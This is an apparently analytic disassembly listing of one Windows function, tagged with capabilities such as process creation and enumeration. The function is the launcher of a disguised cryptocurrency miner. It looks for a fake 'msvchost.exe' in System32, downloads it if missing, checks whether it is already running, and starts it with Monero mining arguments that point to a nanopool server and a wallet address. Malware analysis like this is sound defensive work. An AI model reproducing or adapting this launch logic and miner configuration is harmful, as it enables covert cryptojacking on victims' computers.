Function at 0x1400b3340
Capabilities:
Create process on windows
Enumerate processes
Reference absolute stream path on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x310], xmm6
mov qword [rbp + 0x308], 0xfffffffffffffffe
xorps xmm6, xmm6
lea rdi, [rbp + 0x290]
movabs r13, 0x100000000
xor eax, eax
mov qword [rbp + 0x220], rax
jmp 0x1400b33a5
mov al, 1
mov qword [rbp + 0x220], rax
mov ecx, 0xa
xor edx, edx
call fcn.1401a5d60
mov r8d, 0x20
lea rcx, [rbp - 0x30]
lea rdx, str.C:WindowsSystem32msvchost.exemsvchost.exe_found__attempting_to_execute...
call fcn.1401b4000
cmp dword [rbp - 0x30], 2
jne 0x1400b33e0
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x2c0], 2
jmp 0x1400b3425
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movups xmm2, xmmword [rbp - 0x10]
movups xmm3, xmmword [rbp]
movaps xmmword [rbp + 0x2c0], xmm0
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x300], rax
movaps xmmword [rbp + 0x2f0], xmm3
movaps xmmword [rbp + 0x2e0], xmm2
movaps xmmword [rbp + 0x2d0], xmm1
cmp qword [rbp + 0x2c0], 2
jne 0x1400b3650
lea rcx, [rbp + 0x2c8]
call fcn.140013bf0
mov rax, qword [str.xB__]
mov rax, qword [rax]
test byte [rbp + 0x220], 1
jne 0x1400b35d0
cmp rax, 2
jb 0x1400b34c3
lea rax, str.msvchost.exe_not_found._Attempting_to_download_and_process...
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
movups xmmword [rbp - 0x18], xmm6
lea rcx, [0x14025f228]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], 4
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2d8], 4
mov qword [rbp + 0x2e0], rax
mov edx, 2
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2c0]
xor r9d, r9d
call fcn.140146f90
call fcn.140088960
test rax, rax
je 0x1400b3710
mov rcx, rax
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rdx
mov rax, qword [str.xB__]
mov rax, qword [rax]
test rax, rax
je 0x1400b396d
lea rax, [rbp + 0x230]
mov qword [rbp + 0x268], rax
lea rax, [0x140014d80]
mov qword [rbp + 0x270], rax
lea rax, str.Failed_to_download._Error:
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x10], 0
lea rax, [rbp + 0x268]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rcx, [0x14025f270]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], 4
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2d8], 4
mov qword [rbp + 0x2e0], rax
mov edx, 1
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2c0]
xor r9d, r9d
call fcn.140146f90
mov rax, qword [rbp + 0x230]
mov qword [rbp + 0x2b8], rax
mov rdx, qword [rbp + 0x238]
mov qword [rbp + 0x2b0], rdx
mov rax, qword [rdx]
test rax, rax
jne 0x1400b3983
jmp 0x1400b398c
cmp rax, 2
jb 0x1400b3399
lea rax, str.Waiting_for_download_to_complete._Retrying_in_10_seconds...
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
movups xmmword [rbp - 0x18], xmm6
lea rcx, [0x14025f318]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], 4
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2d8], 4
mov qword [rbp + 0x2e0], rax
mov edx, 2
jmp 0x1400b378f
mov rax, qword [str.xB__]
mov rax, qword [rax]
cmp rax, 3
jb 0x1400b36d5
lea rax, [0x14025f0f8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
movups xmmword [rbp - 0x18], xmm6
lea rcx, [0x14025f108]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], 4
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2d8], 4
mov qword [rbp + 0x2e0], rax
mov edx, 3
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2c0]
xor r9d, r9d
call fcn.140146f90
mov r8d, 0x20
lea rcx, [rbp - 0x30]
lea rdx, str.C:WindowsSystem32msvchost.exemsvchost.exe_found__attempting_to_execute...
call fcn.1401b4000
cmp dword [rbp - 0x30], 2
jne 0x1400b37a7
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x2c0], 2
jmp 0x1400b37ec
mov rax, qword [str.xB__]
mov rax, qword [rax]
mov cl, 1
mov qword [rbp + 0x220], rcx
cmp rax, 3
jb 0x1400b3399
lea rax, str.Successfully_downloaded.
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
movups xmmword [rbp - 0x18], xmm6
lea rcx, [0x14025f2b0]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], 4
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2d8], 4
mov qword [rbp + 0x2e0], rax
mov edx, 3
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2c0]
xor r9d, r9d
call fcn.140146f90
jmp 0x1400b3399
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movups xmm2, xmmword [rbp - 0x10]
movups xmm3, xmmword [rbp]
movaps xmmword [rbp + 0x2c0], xmm0
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x300], rax
movaps xmmword [rbp + 0x2f0], xmm3
movaps xmmword [rbp + 0x2e0], xmm2
movaps xmmword [rbp + 0x2d0], xmm1
cmp qword [rbp + 0x2c0], 2
jne 0x1400b39b5
lea rcx, [rbp + 0x2c8]
call fcn.140013bf0
mov rax, qword [str.xB__]
mov rax, qword [rax]
test rax, rax
je 0x1400b387c
lea rax, [0x14025f888]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
movups xmmword [rbp - 0x18], xmm6
lea rcx, [0x14025f898]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], 4
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2d8], 4
mov qword [rbp + 0x2e0], rax
mov edx, 1
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2c0]
xor r9d, r9d
call fcn.140146f90
call fcn.14019dad0
mov rbx, rax
test edx, edx
je 0x1400b43cf
mov qword [rbp + 0x230], rbx
mov dword [rbp + 0x238], edx
mov rax, qword [str.xB__]
mov rax, qword [rax]
test rax, rax
je 0x1400b3953
lea rax, [rbp + 0x230]
mov qword [rbp + 0x268], rax
lea rax, [0x14019dc10]
mov qword [rbp + 0x270], rax
lea rax, str.Failed_to_launch_msvchost.exe._Error:
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x10], 0
lea rax, [rbp + 0x268]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rcx, [0x14025f1c0]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], 4
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2d8], 4
mov qword [rbp + 0x2e0], rax
mov edx, 1
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2c0]
xor r9d, r9d
call fcn.140146f90
mov rbx, qword [rbp + 0x230]
test rbx, rbx
je 0x1400b3399
lea rcx, [rbp + 0x230]
call fcn.14019d270
jmp 0x1400b3399
mov qword [rbp + 0x2b8], rcx
mov qword [rbp + 0x2b0], rdx
mov rax, qword [rdx]
test rax, rax
je 0x1400b398c
mov rcx, qword [rbp + 0x2b8]
call rax
mov rax, qword [rbp + 0x2b0]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1400b3390
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x2b8]
call fcn.1400cc1a0
jmp 0x1400b3390
mov ecx, 2
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
inc rax
cmp rax, 1
ja 0x1400b39de
call fcn.14019dad0
mov rbx, rax
test edx, edx
jne 0x1400b388c
test rbx, rbx
je 0x1400b3e6b
mov r8d, 0x238
lea rsi, [rbp - 0x30]
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x30], 0x238
mov qword [rbp + 0x228], rbx
mov rcx, rbx
mov rdx, rsi
call qword [sym.imp.kernel32.dll_Process32FirstW]
test eax, eax
je 0x1400b3eb1
nop dword [rax]
mov qword [rbp + 0x290], 0
mov qword [rbp + 0x298], 1
mov qword [rbp + 0x2a0], 0
mov r8d, 0x82
mov rcx, rdi
xor edx, edx
call fcn.1401d9aa0
mov ebx, 0x2c
xor r15d, r15d
test r15w, r15w
jne 0x1400b3a92
jmp 0x1400b3cd0
mov rax, qword [rbp + 0x298]
mov byte [rax + r15], sil
inc r15
mov qword [rbp + 0x2a0], r15
xor r15d, r15d
test r15w, r15w
je 0x1400b3cd0
mov eax, r14d
mov ecx, eax
and ecx, 0xf800
cmp ecx, 0xd800
jne 0x1400b3cf6
movzx ecx, ax
cmp ecx, 0xdbff
ja 0x1400b3b3b
cmp rbx, 0x234
je 0x1400b3b40
movzx ecx, word [rbp + rbx - 0x30]
add rbx, 2
mov edx, ecx
add edx, 0x2000
movzx edx, dx
cmp edx, 0xfc00
jb 0x1400b3b57
movzx ecx, cx
and eax, 0x3ff
and ecx, 0x3ff
shl rax, 0x1a
shl ecx, 0x10
or rcx, rax
add rcx, r13
mov rax, rcx
mov rsi, rax
shr rsi, 0x10
cmp esi, 0x80
jb 0x1400b3d0c
mov dword [rbp + 0x250], 0
cmp esi, 0x800
jae 0x1400b3b4a
shr eax, 0x16
or al, 0xc0
mov byte [rbp + 0x250], al
mov r12d, 2
mov eax, 1
jmp 0x1400b3bd2
xor r15d, r15d
jmp 0x1400b3b5f
mov ebx, 0x234
xor r15d, r15d
jmp 0x1400b3b5f
cmp esi, 0x10000
jae 0x1400b3b97
xor r15d, r15d
jmp 0x1400b3b6e
mov r15w, 1
mov r14d, ecx
mov dword [rbp + 0x250], 0
mov esi, 0xfffd
mov eax, esi
shr eax, 0xc
or al, 0xe0
mov byte [rbp + 0x250], al
mov eax, esi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x251], al
mov r12d, 3
mov eax, 2
jmp 0x1400b3bd5
mov rcx, rax
shr rcx, 0x22
or cl, 0xf0
mov byte [rbp + 0x250], cl
mov rcx, rax
shr rcx, 0x1c
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 0x251], cl
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp + 0x252], al
mov r12d, 4
mov eax, 3
xor r15d, r15d
and sil, 0x3f
or sil, 0x80
mov byte [rbp + rax + 0x250], sil
mov rax, qword [rbp + 0x290]
mov rsi, qword [rbp + 0x2a0]
mov rcx, rax
sub rcx, rsi
cmp rcx, r12
jae 0x1400b3c40
add rsi, r12
jb 0x1400b44b4
lea rcx, [rax + rax]
cmp rcx, rsi
cmova rsi, rcx
cmp rsi, 9
mov ecx, 8
cmovb rsi, rcx
test rax, rax
je 0x1400b3c49
mov rcx, qword [rbp + 0x298]
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2d0], rax
mov eax, 1
jmp 0x1400b3c4b
mov rcx, qword [rbp + 0x298]
jmp 0x1400b3c9c
xor eax, eax
mov rdx, rsi
not rdx
shr rdx, 0x3f
mov qword [rbp + 0x2c8], rax
lea rcx, [rbp + 0x268]
mov r8, rsi
lea r9, [rbp + 0x2c0]
call fcn.14005c880
cmp qword [rbp + 0x268], 0
jne 0x1400b44a4
mov rcx, qword [rbp + 0x270]
mov qword [rbp + 0x298], rcx
mov qword [rbp + 0x290], rsi
mov rsi, qword [rbp + 0x2a0]
add rcx, rsi
lea rdx, [rbp + 0x250]
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add rsi, r12
mov qword [rbp + 0x2a0], rsi
test r15w, r15w
jne 0x1400b3a92
nop word cs:[rax + rax]
cmp rbx, 0x234
je 0x1400b3d30
movzx eax, word [rbp + rbx - 0x30]
add rbx, 2
mov ecx, eax
and ecx, 0xf800
cmp ecx, 0xd800
je 0x1400b3aa9
shl eax, 0x10
mov rsi, rax
shr rsi, 0x10
cmp esi, 0x80
jae 0x1400b3b0e
mov r15, qword [rbp + 0x2a0]
cmp r15, qword [rbp + 0x290]
jne 0x1400b3a70
mov rcx, rdi
call fcn.14005cc00
jmp 0x1400b3a70
mov r11, qword [rbp + 0x290]
mov rsi, qword [rbp + 0x298]
mov rcx, qword [rbp + 0x2a0]
mov qword [rbp + 0x2b8], r11
mov qword [rbp + 0x2b0], rsi
jmp 0x1400b3d71
dec rcx
movzx edx, dl
sub rcx, rsi
test edx, edx
jne 0x1400b3df0
test rcx, rcx
je 0x1400b3e19
mov rax, rcx
add rcx, rsi
movzx edx, byte [rcx - 1]
test dl, dl
jns 0x1400b3d60
movzx r8d, byte [rcx - 2]
cmp r8b, 0xc0
jge 0x1400b3db8
movzx r9d, byte [rcx - 3]
cmp r9b, 0xbf
jg 0x1400b3dc2
movzx r10d, byte [rcx - 4]
add rcx, 0xfffffffffffffffc
and r10d, 7
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
jmp 0x1400b3dca
add rcx, 0xfffffffffffffffe
and r8d, 0x1f
jmp 0x1400b3dd5
add rcx, 0xfffffffffffffffd
and r9d, 0xf
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
shl r8d, 6
and dl, 0x3f
movzx edx, dl
or edx, r8d
cmp edx, 0x110000
jne 0x1400b3d66
jmp 0x1400b3e19
cmp rax, 0xc
jne 0x1400b3e19
mov rax, qword [rsi]
movabs rcx, 0x74736f686376736d
xor rax, rcx
mov ecx, dword [rsi + 8]
xor rcx, 0x6578652e
or rcx, rax
je 0x1400b3fc3
mov rcx, qword [rbp + 0x228]
lea rdx, [rbp - 0x30]
call qword [sym.imp.kernel32.dll_Process32NextW]
test eax, eax
jne 0x1400b3e44
call fcn.14019dad0
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x2c8], edx
test edx, edx
jne 0x1400b3e80
mov rdx, qword [rbp + 0x2b8]
test rdx, rdx
je 0x1400b3a20
mov r8d, 1
mov rcx, qword [rbp + 0x2b0]
call fcn.1400cc1a0
jmp 0x1400b3a20
call fcn.14019dad0
mov rbx, rax
test edx, edx
jne 0x1400b388c
jmp 0x1400b3f16
test rax, rax
je 0x1400b3e91
lea rcx, [rbp + 0x2c0]
call fcn.14019d270
mov rdx, qword [rbp + 0x2b8]
test rdx, rdx
je 0x1400b3edc
mov r8d, 1
mov rcx, qword [rbp + 0x2b0]
call fcn.1400cc1a0
jmp 0x1400b3edc
call fcn.14019dad0
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x2c8], edx
test edx, edx
je 0x1400b3a20
test rax, rax
je 0x1400b3edc
lea rcx, [rbp + 0x2c0]
call fcn.14019d270
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x1400b3f14
call fcn.14019dad0
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x2c8], edx
test edx, edx
je 0x1400b3f14
test rax, rax
je 0x1400b3f14
lea rcx, [rbp + 0x2c0]
call fcn.14019d270
xor ebx, ebx
mov rax, qword [str.xB__]
mov rax, qword [rax]
test bl, bl
je 0x1400b4030
cmp rax, 2
jb 0x1400b3fa3
lea rax, str.msvchost.exe_is_already_running__skipping_execution.
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
movups xmmword [rbp - 0x18], xmm6
lea rcx, [0x14025f828]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], 4
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2d8], 4
mov qword [rbp + 0x2e0], rax
mov edx, 2
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2c0]
xor r9d, r9d
call fcn.140146f90
mov r8d, 0x20
xor ecx, ecx
lea rdx, str.msvchost.exe_is_already_running.msvchost.exe_not_found_in_System32.
call fcn.14019e110
xor ecx, ecx
call fcn.14019db00
jmp 0x1400b3881
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x1400b3ffb
call fcn.14019dad0
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x2c8], edx
test edx, edx
je 0x1400b3ffb
test rax, rax
je 0x1400b3ffb
lea rcx, [rbp + 0x2c0]
call fcn.14019d270
mov rdx, qword [rbp + 0x2b8]
test rdx, rdx
je 0x1400b4019
mov r8d, 1
mov rcx, qword [rbp + 0x2b0]
call fcn.1400cc1a0
mov ebx, 1
mov rax, qword [str.xB__]
mov rax, qword [rax]
test bl, bl
jne 0x1400b3f28
cmp rax, 3
jb 0x1400b40ab
lea rax, [0x14025f0f8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
movups xmmword [rbp - 0x18], xmm6
lea rcx, [0x14025f650]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], 4
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2d8], 4
mov qword [rbp + 0x2e0], rax
mov edx, 3
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2c0]
xor r9d, r9d
call fcn.140146f90
lea rax, str.C:WindowsSystem32msvchost.exe__o_xmr_eu2.nanopool.org:14433__u_49QjJy47SU1MGFX7Rep7TQUkGUvvTRqSx4HhzqBgMNwtRvxsXMd98sFZLULDV61ncxVr5kazj9asqctBxy6hWm462wGcBQT___tls___coin_monerowinsta0defaultSuccessfully_launched_msvchost.exe_with_mining_parameters.
mov qword [rbp + 0x230], rax
lea rax, [0x14025f71d]
mov qword [rbp + 0x238], rax
mov word [rbp + 0x240], 0
mov dword [rbp + 0x248], 1
lea rcx, [rbp + 0x250]
lea rdx, [rbp + 0x230]
call fcn.1400ca090
movaps xmmword [rbp - 0x30], xmm6
movaps xmmword [rbp + 0x20], xmm6
movaps xmmword [rbp + 0x10], xmm6
movaps xmmword [rbp], xmm6
movaps xmmword [rbp - 0x10], xmm6
movaps xmmword [rbp - 0x20], xmm6
mov qword [rbp + 0x30], 0
mov dword [rbp - 0x30], 0x68
lea rax, [0x14025f71d]
mov qword [rbp + 0x2c0], rax
lea rax, [0x14025f72c]
mov qword [rbp + 0x2c8], rax
mov word [rbp + 0x2d0], 0
mov dword [rbp + 0x2d8], 1
lea rcx, [rbp + 0x268]
lea rdx, [rbp + 0x2c0]
call fcn.1400ca090
mov rdx, qword [rbp + 0x268]
mov rsi, qword [rbp + 0x270]
test rdx, rdx
je 0x1400b417a
add rdx, rdx
mov r8d, 2
mov rcx, rsi
call fcn.1400cc1a0
mov qword [rbp - 0x20], rsi
mov dword [rbp + 0xc], 1
mov word [rbp + 0x10], 0
movaps xmmword [rbp + 0x290], xmm6
mov qword [rbp + 0x2a0], 0
mov r14, qword [rbp + 0x258]
mov qword [rsp + 0x48], rdi
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
jne 0x1400b4311
call fcn.14019dad0
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x2c8], edx
test edx, edx
je 0x1400b4311
test rax, rax
je 0x1400b420b
lea rcx, [rbp + 0x2c0]
call fcn.14019d270
mov rax, qword [str.xB__]
mov rax, qword [rax]
test rax, rax
je 0x1400b42dc
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rbp + 0x21c], eax
lea rax, [rbp + 0x21c]
mov qword [rbp + 0x208], rax
lea rax, [0x14019d1b0]
mov qword [rbp + 0x210], rax
lea rax, str.Failed_to_execute_msvchost.exe._Error:
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], 1
mov qword [rbp + 0x2e0], 0
lea rax, [rbp + 0x208]
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], 1
lea rcx, [0x14025f7c8]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x268], rcx
mov qword [rbp + 0x270], 4
mov qword [rbp + 0x278], rcx
mov qword [rbp + 0x280], 4
mov qword [rbp + 0x288], rax
mov edx, 1
lea rcx, [rbp + 0x2c0]
lea r8, [rbp + 0x268]
xor r9d, r9d
call fcn.140146f90
call fcn.14019dad0
mov rbx, rax
mov rax, qword [rbp + 0x250]
test rax, rax
je 0x1400b3884
add rax, rax
mov r8d, 2
mov rcx, r14
mov esi, edx
mov rdx, rax
call fcn.1400cc1a0
mov edx, esi
jmp 0x1400b3884
mov rax, qword [str.xB__]
mov rax, qword [rax]
cmp rax, 3
jb 0x1400b43ac
lea rax, [0x14025f768]
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], 1
mov qword [rbp + 0x2d0], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d8], xmm0
lea rcx, [0x14025f778]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x268], rcx
mov qword [rbp + 0x270], 4
mov qword [rbp + 0x278], rcx
mov qword [rbp + 0x280], 4
mov qword [rbp + 0x288], rax
lea rcx, [rbp + 0x2c0]
lea r8, [rbp + 0x268]
mov edx, 3
xor r9d, r9d
call fcn.140146f90
mov ebx, dword [rbp + 0x2a0]
mov rdx, qword [rbp + 0x250]
test rdx, rdx
je 0x1400b43cf
add rdx, rdx
mov r8d, 2
mov rcx, r14
call fcn.1400cc1a0
mov dword [rbp + 0x230], ebx
mov rax, qword [str.xB__]
mov rax, qword [rax]
cmp rax, 3
jb 0x1400b4489
lea rax, [rbp + 0x230]
mov qword [rbp + 0x268], rax
lea rax, [0x1401d6560]
mov qword [rbp + 0x270], rax
lea rax, str.Successfully_launched_msvchost.exe_with_mining_parameters__PID:
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x10], 0
lea rax, [rbp + 0x268]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 1
lea rcx, [0x14025f170]
call fcn.140147080
lea rcx, str.ICBM
mov qword [rbp + 0x2c0], rcx
mov qword [rbp + 0x2c8], 4
mov qword [rbp + 0x2d0], rcx
mov qword [rbp + 0x2d8], 4
mov qword [rbp + 0x2e0], rax
lea rcx, [rbp - 0x30]
lea r8, [rbp + 0x2c0]
mov edx, 3
xor r9d, r9d
call fcn.140146f90
movaps xmm6, xmmword [rbp + 0x310]
add rsp, 0x3a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp + 0x270]
mov rdx, qword [rbp + 0x278]
jmp 0x1400b44b6
xor ecx, ecx
call fcn.1401dfc20
ud2